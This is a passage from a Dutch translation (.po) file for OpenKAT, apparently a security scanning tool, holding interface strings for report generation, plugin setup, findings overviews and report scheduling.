\"Overzicht\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Plugin overview table\"\nmsgstr \"Plugin-overzichtstabel\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Required plugins\"\nmsgstr \"Benodigde plug-ins\"\n\n#: reports/templates/partials/plugin_overview_table.html\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Suggested plugins\"\nmsgstr \"Aangeraden plug-ins\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Action required\"\nmsgstr \"Actie vereist\"\n\n#: reports/templates/partials/plugin_overview_table.html\nmsgid \"Ready\"\nmsgstr \"Gereed\"\n\n#: reports/templates/partials/report_findings_table.html\nmsgid \"\"\n\"This table provides an overview of the identified findings on the scanned \"\n\"systems. For each finding type it shows the risk level, the number of \"\n\"occurrences and the first known occurrence of the finding. The risk level \"\n\"may be different for your specific environment. The details can be seen when \"\n\"expanding a row. A description, the source, impact and recommendation of the \"\n\"finding can be found here. It also shows in which findings the finding type \"\n\"occurred.\"\nmsgstr \"\"\n\"Deze tabel geeft een overzicht van de geïdentificeerde bevindingen op de \"\n\"gescande systemen. Voor elk type bevinding wordt het risiconiveau, het \"\n\"aantal keren dat de bevinding is aangetroffen en de eerste bekende keer dat \"\n\"de bevinding is aangetroffen weergegeven. Het risiconiveau kan voor uw \"\n\"specifieke omgeving anders zijn. De details zijn te zien wanneer u een rij \"\n\"uitvouwt. Hier vindt u een beschrijving, de bron, de impact en een \"\n\"aanbeveling voor de bevinding. Ook wordt weergegeven in welke bevindingen \"\n\"het type bevinding is aangetroffen.\"\n\n#: reports/templates/partials/report_findings_table.html\n#, fuzzy\nmsgid \"First known occurrence\"\nmsgstr \"Eerstbekende gebeurtenis\"\n\n#: reports/templates/partials/report_findings_table.html\n#, fuzzy\nmsgid \"Open in report\"\nmsgstr \"Open in rapport\"\n\n#: reports/templates/partials/report_findings_table.html\n#, fuzzy\nmsgid \"\"\n\"No critical and high findings have been identified for this organization.\"\nmsgstr \"\"\n\"Er zijn geen kritieke en hoog-niveau bevindingen voor deze organisatie \"\n\"gevonden\"\n\n#: reports/templates/partials/report_findings_table.html\n#, fuzzy\nmsgid \"No findings have been identified for this organization.\"\nmsgstr \"Er zijn geen bevindingen voor deze organisatie gevonden.\"\n\n#: reports/templates/partials/report_header.html\n#, fuzzy\nmsgid \"Download as PDF\"\nmsgstr \"Download als PDF\"\n\n#: reports/templates/partials/report_header.html\n#: rocky/templates/partials/ooi_list_toolbar.html\nmsgid \"Download as JSON\"\nmsgstr \"Als JSON downloaden\"\n\n#: reports/templates/partials/report_header.html\n#, fuzzy\nmsgid \"Open asset reports\"\nmsgstr \"Open-asset-rapportage\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"This is the OpenKAT report for organization\"\nmsgstr \"Dit is het OpenKAT-rapport voor organisatie\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"\"\n\"All selected report types for the selected objects are displayed one below \"\n\"the other.\"\nmsgstr \"\"\n\"Alle geselecteerde rapporttypes voor de geselecteerde objecten worden onder \"\n\"elkaar getoond.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created with data from:\"\nmsgstr \"Gemaakt met gegevens van:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created on:\"\nmsgstr \"Gemaakt op:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Created from recipe:\"\nmsgstr \"Gemaakt uit recept:\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Recipe created by:\"\nmsgstr \"Recept gemaakt door:\"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"This sector contains %(length)s scanned organizations.\"\nmsgstr \"Deze sector bevat %(length)s gescande organisaties.\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"Of these organizations\"\nmsgstr \"Van deze organisaties hebben\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"organizations have tag\"\nmsgstr \"organisaties een label\"\n\n#: reports/templates/partials/report_header.html\nmsgid \"The basic security scores are around \"\nmsgstr \"De basisbeveiligingsscores zijn ongeveer \"\n\n#: reports/templates/partials/report_header.html\n#, python-format\nmsgid \"A total of %(total)s critical vulnerabilities have been identified.\"\nmsgstr \"Een totaal van %(total)s kritieke kwetsbaarheden zijn geïdentificeerd.\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"Introduction\"\nmsgstr \"Introductie\"\n\n#: reports/templates/partials/report_introduction.html\nmsgid \"\"\n\"This report gives an overview of the current state of security for your \"\n\"organisation for the selected date. The summary section provides an overview \"\n\"of the selected systems (objects), plugins and reports. This is followed \"\n\"with the findings for each report.\"\nmsgstr \"\"\n\"Dit rapport geeft een overzicht van de huidige staat van veiligheid voor uw \"\n\"organisatie voor de gekozen datum. De samenvatting geeft een overzicht van \"\n\"de geselecteerde systemen, plug-ins en rapporten. Dit wordt gevolgd door de \"\n\"bevindingen voor elk rapport.\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Report names:\"\nmsgstr \"Rapportnamen:\"\n\n#: reports/templates/partials/report_names_form.html\n#: rocky/templates/forms/widgets/checkbox_group_table.html\n#: rocky/templates/oois/ooi_detail_add_related_object.html\n#: rocky/templates/partials/edit_ooi_clearance_level_modal.html\n#: rocky/templates/partials/form/field_input.html\n#: rocky/templates/partials/form/field_input_checkbox.html\n#: rocky/templates/partials/form/field_input_multiselect.html\n#: rocky/templates/partials/form/field_input_radio.html\nmsgid \"Required\"\nmsgstr \"Verplicht\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Add reference date\"\nmsgstr \"Referentiedatum toevoegen\"\n\n#: reports/templates/partials/report_names_form.html\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Reset\"\nmsgstr \"Opnieuw instellen\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"No reference date\"\nmsgstr \"Geen referentiedatum\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Day\"\nmsgstr \"Dag\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Week\"\nmsgstr \"Week\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Month\"\nmsgstr \"Maand\"\n\n#: reports/templates/partials/report_names_form.html\nmsgid \"Year\"\nmsgstr \"Jaar\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Object selection\"\nmsgstr \"Objectselectie\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"Select which objects you want to include in your report. You can either \"\n\"continue with a live set or you can select the objects manually from the \"\n\"table below.\"\nmsgstr \"\"\n\"Selecteer welke objecten u in uw rapport op wilt nemen. U kunt verder gaan \"\n\"met een live objectenset of u kunt de juiste objecten uit onderstaande tabel \"\n\"selecteren.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"\"\n\"A live set is a set of objects based on the applied filters. Any object that \"\n\"matches this applied filter (now or in the future) will be used as input for \"\n\"the scheduled report. If your live set filter (e.g. 'hostnames' with 'L2 \"\n\"clearance' that are 'declared') shows 2 hostnames that match the filter \"\n\"today, the scheduled report will run for those 2 hostnames. If you add 3 \"\n\"more hostnames tomorrow (with the same filter criteria), your next scheduled \"\n\"report will contain 5 hostnames. Your live set will update as you go.\"\nmsgstr \"\"\n\"Een live set is een actuele objectenset gebaseerd op de toegepaste filters. \"\n\"Elk object dat overeenkomt met het toegepaste filter (nu of in de toekomst) \"\n\"zal gebruikt worden als input voor het geplande rapport. Als je live set \"\n\"filter (bijvoorbeeld \\\"Hostnames\\\" met \\\"gedeclareerde L2 vrijlating\\\") \"\n\"vandaag 2 hostnames toont, gebruikt het rapport deze 2 hostnames. Als je \"\n\"morgen nog drie hostnames toevoegt, die aan de filter criteria voldoen, \"\n\"bevat je volgende rapport vijf hostnames. Je live set wordt elke keer \"\n\"opnieuw uitgevoerd als query.\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, fuzzy\nmsgid \"\"\n\"Based on the current dataset, your selected filters result in the following \"\n\"objects.\"\nmsgstr \"\"\n\"Gebaseerd op de huidige dataset resulteert uw geselecteerde filter tot de \"\n\"volgende objecten.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"objects selected\"\nmsgstr \"objecten geselecteerd\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Deselect all objects\"\nmsgstr \"Alle objecten deselecteren\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: rocky/templates/oois/ooi_list.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s objects\"\nmsgstr \"%(length)s van %(total)s objecten getoond\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, python-format\nmsgid \"Select all %(total_oois)s object\"\nmsgid_plural \"Select all %(total_oois)s objects\"\nmsgstr[0] \"Selecteer %(total_oois)s object\"\nmsgstr[1] \"Selecteer alle %(total_oois)s objecten\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, fuzzy\nmsgid \"Object name\"\nmsgstr \"Objectnaam\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Report(s) may be empty due to no objects in the selected filters.\"\nmsgstr \"\"\n\"Rapportages kunnen leeg zijn als er geen objecten uit de geselecteerde \"\n\"filter komen.\"\n\n#: reports/templates/partials/report_ooi_list.html\n#, fuzzy\nmsgid \"\"\n\"Reports matching the selected filters will be empty at this moment in time. \"\n\"Future reports may contain data. It is still possible to generate the \"\n\"(potentially empty) report.\"\nmsgstr \"\"\n\"Rapporten die voldoen aan de geselecteerde filters zijn momenteel leeg. \"\n\"Toekomstige rapporten bevatten mogelijk wel data. Het is altijd mogelijk een \"\n\"(eventueel leeg) rapport te maken.\"\n\n#: reports/templates/partials/report_ooi_list.html\nmsgid \"Continue with live set\"\nmsgstr \"Doorgaan met live set\"\n\n#: reports/templates/partials/report_ooi_list.html\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Continue with selection\"\nmsgstr \"Doorgaan met selectie\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/views/aggregate_report.py reports/views/generate_report.py\n#: reports/views/multi_report.py\nmsgid \"Configuration\"\nmsgstr \"Configuratie\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Set up the required plugins for this report.\"\nmsgstr \"Configureer de benodigde plug-ins voor dit rapport.\"\n\n#: reports/templates/partials/report_setup_scan.html\n#: reports/templates/summary/selected_plugins.html\nmsgid \"Plugins\"\nmsgstr \"Plug-ins\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"KAT will be able to generate a full report when all the required and \"\n\"suggested boefjes are enabled.\"\nmsgstr \"\"\n\"KAT kan een volledig rapport produceren als alle verplichte en voorgestelde \"\n\"Boefjes zijn ingeschakeld.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"If you choose not to enable a plugin, the data that plugin would collect or \"\n\"produce will be left out of the report which will then be generated based on \"\n\"the available data collected by the enabled plugins.\"\nmsgstr \"\"\n\"Als u ervoor kiest om een plug-in niet in te schakelen, zullen de gegevens \"\n\"die de plug-in zou verzamelen en produceren, niet worden opgenomen in het \"\n\"rapport. Het rapport zal worden gegenereerd op basis van de beschikbare \"\n\"gegevens verzameld door de plug-ins die wel zijn ingeschakeld.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"Some plugins are mandatory as they are crucial for a report type. Reports \"\n\"that don't have their requirements met will be skipped.\"\nmsgstr \"\"\n\"Bepaalde plug-ins zijn verplicht, omdat ze cruciaal zijn voor een \"\n\"rapporttype. Rapporten waarvoor niet aan alle eisen is voldaan, zullen \"\n\"worden overgeslagen.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Warning! Before you proceed read the following points:\"\nmsgstr \"Waarschuwing! Lees de volgende punten voordat u doorgaat:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"\"\n\"OpenKAT is designed to scan all known objects on a regular basis using the \"\n\"enabled plugins and set clearance levels. This means that scans will run \"\n\"automatically. Be patient; plugins may take some time before they have \"\n\"collected all their data. Enabling them just before report generation will \"\n\"likely result in inaccurate reports, as plugins have not finished collecting \"\n\"data.\"\nmsgstr \"\"\n\"OpenKAT is ontworpen om alle bekende objecten te scannen op een regelmatige \"\n\"basis met behulp van de ingeschakelde plug-ins en vrijwaringsniveaus. Dit \"\n\"betekent dat de scans automatisch worden uitgevoerd. Wees geduldig, het kan \"\n\"even duren voordat alle plug-ins al hun gegevens hebben verzameld. Plug-ins \"\n\"inschakelen vlak voordat u een rapport genereert zal waarschijnlijk \"\n\"resulteren in onnauwkeurige rapporten, aangezien plug-ins dan wellicht nog \"\n\"niet klaar zijn met het verzamelen van gegevens.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All required plugins are enabled.\"\nmsgstr \"Goed gedaan. Alle vereiste plug-ins zijn ingeschakeld.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"This report type requires the following plugins to be enabled:\"\nmsgstr \"Dit rapport vereist dat de volgende plug-ins zijn ingeschakeld:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all required plugins\"\nmsgstr \"Toggle alle vereiste plug-ins\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show enabled plugins\"\nmsgstr \"Ingeschakelde plug-ins tonen\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no required plugins.\"\nmsgstr \"Er zijn geen vereiste plug-ins.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Good job! All suggested plugins are enabled.\"\nmsgstr \"Goed gedaan! Alle vereiste plug-ins zijn ingeschakeld.\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"The following plugins are optional to generate the report:\"\nmsgstr \"De volgende plug-ins zijn optioneel om het rapport te genereren:\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Toggle all optional plugins\"\nmsgstr \"Toggle alle optionele plug-ins\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Hide suggested plugins\"\nmsgstr \"Voorgestelde plug-ins verbergen\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"Show more suggested plugins\"\nmsgstr \"Meer voorgestelde plug-ins tonen\"\n\n#: reports/templates/partials/report_setup_scan.html\nmsgid \"There are no optional plugins.\"\nmsgstr \"Er zijn geen optionele plug-ins.\"\n\n#: reports/templates/partials/report_setup_scan.html\n#, fuzzy\nmsgid \"Enable selected plugins and continue\"\nmsgstr \"Schakel de geselecteerde plug-in in en ga verder\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#, fuzzy\nmsgid \"\"\n\"\\n\"\n\"            This overview shows the total number of findings per\\n\"\n\"            severity that have been identified for this organization.\\n\"\n\"        \"\nmsgstr \"\"\n\"\\n\"\n\"            Dit overzicht toont het totaal aantal bevindingen per\\n\"\n\"risiconiveau (ernst) dat is gevonden voor deze organisatie\\n\"\n\"        \"\n\n#: reports/templates/partials/report_severity_totals_table.html\nmsgid \"Total per severity overview\"\nmsgstr \"Overzicht totalen per ernst\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#, fuzzy\nmsgid \"Critical\"\nmsgstr \"Kritiek\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#, fuzzy\nmsgid \"High\"\nmsgstr \"Hoog\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#, fuzzy\nmsgid \"Medium\"\nmsgstr \"Medium\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#, fuzzy\nmsgid \"Low\"\nmsgstr \"Laag\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#: tools/forms/scheduler.py rocky/templates/tasks/partials/stats.html\nmsgid \"Pending\"\nmsgstr \"In behandeling\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#, fuzzy\nmsgid \"Unknown\"\nmsgstr \"Onbekend\"\n\n#: reports/templates/partials/report_severity_totals_table.html\n#, fuzzy\nmsgid \"Total\"\nmsgstr \"Totaal\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Objects\"\nmsgstr \"Geselecteerde objecten\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Selected Plugins\"\nmsgstr \"Geselecteerde plug-ins\"\n\n#: reports/templates/partials/report_sidemenu.html\nmsgid \"Used Config Objects\"\nmsgstr \"Gebruikte configuratieobjecten\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Choose report types\"\nmsgstr \"Kies rapporttypes\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"\"\n\"Various types of reports, such as DNS reports and TLS reports, are essential \"\n\"for identifying vulnerabilities in different aspects of a system's security. \"\n\"DNS reports focus on domain name system configuration and potential \"\n\"weaknesses, while TLS reports assess the security of data encryption and \"\n\"transmission protocols, helping organizations pinpoint areas where security \"\n\"improvements are needed.\"\nmsgstr \"\"\n\"Verschillende soorten rapporten, zoals DNS- en TLS-rapporten, zijn \"\n\"essentieel voor het identificeren van kwetsbaarheden in verschillende \"\n\"aspecten van de beveiliging van een systeem. DNS-rapporten geven zicht op \"\n\"domeinnaamsysteemconfiguratie en potentiële zwakheden, terwijl TLS de \"\n\"beveiliging beoordeelt van dataencryptie en transmissieprotocollen, beide \"\n\"helpen organisaties vast te stellen waar beveiliging kan worden verbeterd.\"\n\n#: reports/templates/partials/report_types_selection.html\n#, python-format\nmsgid \"Selected object (%(total_oois)s)\"\nmsgid_plural \"Selected objects (%(total_oois)s)\"\nmsgstr[0] \"Geselecteerde object (%(total_oois)s)\"\nmsgstr[1] \"Geselecteerde objecten (%(total_oois)s)\"\n\n#: reports/templates/partials/report_types_selection.html\n#, fuzzy, python-format\nmsgid \"\"\n\"You have selected a live set in the previous step. Based on the current \"\n\"dataset, this live set results in %(total_oois)s objects.\"\nmsgstr \"\"\n\"U heeft een live-set in de voorgaande stap geselecteerd. Gebaseerd op de \"\n\"huidige dataset, resulteert deze live-set in %(total_oois)s objecten.\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Applied filters:\"\nmsgstr \"Actieve filters:\"\n\n#: reports/templates/partials/report_types_selection.html\n#, fuzzy, python-format\nmsgid \"You have selected %(total_oois)s object in the previous step.\"\nmsgid_plural \"You have selected %(total_oois)s objects in the previous step.\"\nmsgstr[0] \"U heeft %(total_oois)s object in de vorige stap geselecteerd.\"\nmsgstr[1] \"U heeft %(total_oois)s objecten in de vorige stap geselecteerd.\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Change selection\"\nmsgstr \"Selectie aanpassen\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Available report types\"\nmsgstr \"Beschikbare rapporttypes\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"All report types that are available for your selection.\"\nmsgstr \"Alle rapporten die beschikbaar zijn voor uw selectie.\"\n\n#: reports/templates/partials/report_types_selection.html\nmsgid \"Toggle all report types\"\nmsgstr \"Selecteer alle rapporttypes\"\n\n#: reports/templates/partials/return_button.html\n#, python-format\nmsgid \"%(btn_text)s\"\nmsgstr \"%(btn_text)s\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\nmsgid \"Delete the following report(s):\"\nmsgstr \"Verwijder de volgende rapport(en):\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#, fuzzy\nmsgid \"\"\n\"Deleted reports are removed in the view from the moment of deletion. The \"\n\"report can still be accessed on timestamps before the deletion. Only the \"\n\"report is removed from the view, not the data it is based on.\"\nmsgstr \"\"\n\"Verwijderde rapporten zijn niet meer in het overzicht beschikbaar vanaf het \"\n\"moment van verwijdering. Het rapport kan nog wel worden gevonden met de \"\n\"timestamp van voor de verwijdering. Alleen het rapport is uit het overzicht \"\n\"verwijder, niet de data waarop het is gebaseerd.\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/share_modal.html\n#, fuzzy\nmsgid \"\"\n\"It is still possible to generate a new report for same date. If the report \"\n\"is part of a combined report, it will remain available in the combined \"\n\"report.\"\nmsgstr \"\"\n\"Het is nog steeds mogelijk om een rapport voor dezelfde datum te maken. Als \"\n\"het rapport onderdeel van een gecombineerd rapport is, is het beschikbaar in \"\n\"het gecombineerde rapport.\"\n\n#: reports/templates/report_overview/modal_partials/delete_modal.html\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/scheduled_reports_table.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Reference date\"\nmsgstr \"Referentiedatum\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Disable schedule\"\nmsgstr \"Schema uitschakelen\"\n\n#: reports/templates/report_overview/modal_partials/enable_disable_schedule_modal.html\n#, fuzzy, python-format\nmsgid \"\"\n\"Are you sure you want to disable the schedule for <strong>%(report_name)s</\"\n\"strong>? The recipe will still exist and the schedule can be enabled later \"\n\"on.\"\nmsgstr \"\"\n\"Weet u zeker dat u het schema voor <strong>%(report_name)s</strong> uit wilt \"\n\"schakelen? Het recept blijft bestaan en het schama kan later weer \"\n\"ingeschakeld worden.\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\nmsgid \"Rename the following report(s):\"\nmsgstr \"Hernoem de volgende rapport(en):\"\n\n#: reports/templates/report_overview/modal_partials/rename_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rename\"\nmsgstr \"Hernoemen\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\nmsgid \"Rerun the following report(s):\"\nmsgstr \"Genereer de volgende rapport(en) opnieuw:\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#, fuzzy\nmsgid \"\"\n\"By submitting you're generating the selected reports again, using the \"\n\"current data.\"\nmsgstr \"\"\n\"Door indienen produceer je de geselecteerde rapporten opnieuw, met gebruik \"\n\"van de actuele data.\"\n\n#: reports/templates/report_overview/modal_partials/rerun_modal.html\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Rerun\"\nmsgstr \"Opnieuw genereren\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"Reports history\"\nmsgstr \"Rapportgeschiedenis\"\n\n#: reports/templates/report_overview/report_history.html\nmsgid \"\"\n\"On this page you can see all the reports that have been generated in the \"\n\"past. To create a new report, click the 'Generate Report' button.\"\nmsgstr \"\"\n\"Op deze pagina ziet u alle rapporten die in het verleden zijn gegenereerd. \"\n\"Om een nieuw rapport te creëren, klik de knop ‘Rapport genereren’.\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports.html\n#, python-format\nmsgid \"Showing %(length)s of %(total)s reports\"\nmsgstr \"%(length)s van %(total)s rapporten getoond\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: rocky/templates/tasks/reports.html\nmsgid \"Reports:\"\nmsgstr \"Rapporten:\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Shows parent report details\"\nmsgstr \"Bovenliggende rapportdetails tonen\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Close asset report object details\"\nmsgstr \"Sluit asset-rapport-objectdetails\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, fuzzy\nmsgid \"Open asset report object details\"\nmsgstr \"Toon asset-rapport objectdetails\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"Asset reports details\"\nmsgstr \"Details assetrapporten\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, fuzzy, python-format\nmsgid \"\"\n\"This report consists of %(counter)s asset report with the following report \"\n\"type and object:\"\nmsgid_plural \"\"\n\"This report consists of %(counter)s asset reports with the following report \"\n\"types and objects:\"\nmsgstr[0] \"\"\n\"Dit rapport bevat %(counter)s asset rapport met het volgende rapporttype en \"\n\"object:\"\nmsgstr[1] \"\"\n\"Dit rapport bevat %(counter)s asset rapporten met de volgende rapporttypes \"\n\"en objecten:\"\n\n#: reports/templates/report_overview/report_history_table.html\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\n#: reports/views/report_overview.py\n#, fuzzy\nmsgid \"Asset reports\"\nmsgstr \"Asset-rapporten\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, fuzzy\nmsgid \"Shows asset report details\"\nmsgstr \"Toon asset-rapportdetails\"\n\n#: reports/templates/report_overview/report_history_table.html\n#, fuzzy\nmsgid \"View all asset reports\"\nmsgstr \"Toon alle asset-rapporten\"\n\n#: reports/templates/report_overview/report_history_table.html\nmsgid \"No reports have been generated yet.\"\nmsgstr \"Er zijn nog geen rapporten gegenereerd.\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#: reports/views/base.py rocky/templates/header.html\n#: rocky/templates/tasks/partials/tab_navigation.html\n#: rocky/templates/tasks/reports.html rocky/views/tasks.py\nmsgid \"Reports\"\nmsgstr \"Rapporten\"\n\n#: reports/templates/report_overview/report_overview_header.html\n#, fuzzy\nmsgid \"An overview of reports that are scheduled or have been generated.\"\nmsgstr \"Overzicht van ingeplande en gegenereerde rapporten\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"Scheduled\"\nmsgstr \"Gepland\"\n\n#: reports/templates/report_overview/report_overview_navigation.html\nmsgid \"History\"\nmsgstr \"Geschiedenis\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"Scheduled reports\"\nmsgstr \"Ingeplande rapporten\"\n\n#: reports/templates/report_overview/scheduled_reports.html\nmsgid \"\"\n\"On this page you can see all the reports that are or have been scheduled. To \"\n\"schedule a report, select a start date and recurrence while generating a \"\n\"report.\"\nmsgstr \"\"\n\"Op deze pagina ziet u alle rapporten die zijn of waren ingepland. Om een \"\n\"rapport in te plannen, selecteer een startdatum en herhalingspatroon tijdens \"\n\"het genereren van een rapport.\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, fuzzy, python-format\nmsgid \"Showing %(length)s of %(total)s schedules\"\nmsgstr \"Toon %(length)s van %(total)s schemas\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled reports:\"\nmsgstr \"Ingeplande rapporten:\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled for\"\nmsgstr \"Ingepland voor\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Schedule status\"\nmsgstr \"Schemastatus\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, fuzzy\nmsgid \"Once\"\nmsgstr \"Eenmalig\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\n#, fuzzy\nmsgid \"Recent reports\"\nmsgstr \"Recente rapporten\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Scheduled Reports:\"\nmsgstr \"Ingeplande rapporten:\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Show report details\"\nmsgstr \"Rapportdetails tonen\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"objects\"\nmsgstr \"objecten\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"Enable schedule\"\nmsgstr \"Schema inschakelen\"\n\n#: reports/templates/report_overview/scheduled_reports_table.html\nmsgid \"No scheduled reports have been generated yet.\"\nmsgstr \"Er zijn nog geen geplande rapporten gegenereerd.\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"Back to Reports History\"\nmsgstr \"Terug naar rapportgeschiedenis\"\n\n#: reports/templates/report_overview/subreports_header.html\nmsgid \"An overview of all underlying reports of\"\nmsgstr \"Een overzicht van alle onderliggende rapporten van\"\n\n#: reports/templates/report_overview/subreports_header.html\n#: reports/templates/report_overview/subreports_table.html\nmsgid \"Shows report details\"\nmsgstr \"Rapportdetails tonen\"\n\n#: reports/templates/report_overview/subreports_table.html\n#: rocky/templates/tasks/boefjes.html\n#: rocky/templates/tasks/plugin_detail_task_list.html\nmsgid \"Input Object\"\nmsgstr \"Invoerbject\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, fuzzy\nmsgid \"Delete report recipe\"\nmsgstr \"Verwijder rapportagerecept\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, fuzzy, python-format\nmsgid \"Are you sure you want to delete report recipe \\\"%(name)s\\\"?\"\nmsgstr \"Weet u zeker dat u rapportagerecept \\\"%(name)s\\\" wilt verwijderen?\"\n\n#: reports/templates/report_schedules/delete_recipe_modal.html\n#, fuzzy\nmsgid \"\"\n\"Deleting this report recipe means it will be permanently deleted. It will \"\n\"not be possible anymore to see or enable the schedule. You will find \"\n\"previously generated reports in the report history tab.\"\nmsgstr \"\"\n\"Dit rapportagerecept wordt permanent verwijderd. Het is niet meer mogelijk \"\n\"het schema te bekijken of weer aan te zetten. Eerder gegenereerde rapporten \"\n\"kunnen in de rapportagegeschiedenis tab gevonden worden.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"\"\n\"The objects listed in the table below were used to generate this report. For \"\n\"each object in the table it additionally shows the clearance level and \"\n\"whether or not the object was added by a user ('Declared') or indirectly \"\n\"identified through another service or system ('Inherited').\"\nmsgstr \"\"\n\"De objecten uit onderstaande tabel werden gebruikt om dit rapport te \"\n\"genereren. Voor elk object in de tabel wordt getoond wat het \"\n\"vrijwaringsniveau is en of het object door een gebruiker is toegevoegd of \"\n\"indirect geïdentificeerd is door een andere dienst of systeem.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid \"No objects found.\"\nmsgstr \"Geen objecten gevonden.\"\n\n#: reports/templates/summary/report_asset_overview.html\nmsgid 